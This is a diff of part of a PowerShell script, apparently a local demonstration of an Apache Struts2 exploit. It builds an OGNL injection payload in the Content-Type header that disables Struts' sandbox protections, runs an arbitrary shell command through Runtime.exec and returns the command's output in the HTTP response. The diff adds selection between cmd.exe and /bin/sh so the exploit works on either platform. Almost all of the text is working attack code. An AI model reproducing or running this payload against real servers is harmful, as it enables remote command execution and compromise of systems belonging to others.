@@ -226,14 +226,22 @@ if ($DiagLevel -gt 0) {
226226 # 8. Write output bytes via getOutputStream() + setContentLength +
227227 # flushBuffer() to commit the response before JSP rendering.
228228 #
229+ # Select the OS shell that the JVM will spawn. The JVM runs on the same OS
230+ # as the server, so we detect which platform PowerShell is on (they match
231+ # in this local-demo scenario) and pick the appropriate shell binary.
232+ # Windows → cmd.exe /c <command> (no /bin/sh available)
233+ # Linux / macOS → /bin/sh -c <command>
234+ $shellExe = if ($IsWindows ) { ' cmd.exe' } else { ' /bin/sh' }
235+ $shellFlag = if ($IsWindows ) { ' /c' } else { ' -c' }
236+
229237 $escapedCmd = $Command -replace " '" , " ''"
230238 $contentType = " .%{" +
231239 " (#container=#context['com.opensymphony.xwork2.ActionContext.container'])." +
232240 " (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." +
233241 " (#ognlUtil.getExcludedPackageNames().clear())." +
234242 " (#ognlUtil.getExcludedClasses().clear())." +
235243 " (#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))." +
236- " (#process=@java.lang.Runtime@getRuntime().exec(new String[]{'/bin/sh ','-c ','$escapedCmd '}))." +
244+ " (#process=@java.lang.Runtime@getRuntime().exec(new String[]{'$shellExe ','$shellFlag ','$escapedCmd '}))." +
237245 " (#process.waitFor())." +
238246 " (#out=new java.lang.String(#process.getInputStream().readAllBytes(),'UTF-8'))." +
239247 " (#response=@org.apache.struts2.ServletActionContext@getResponse())." +
0 commit comments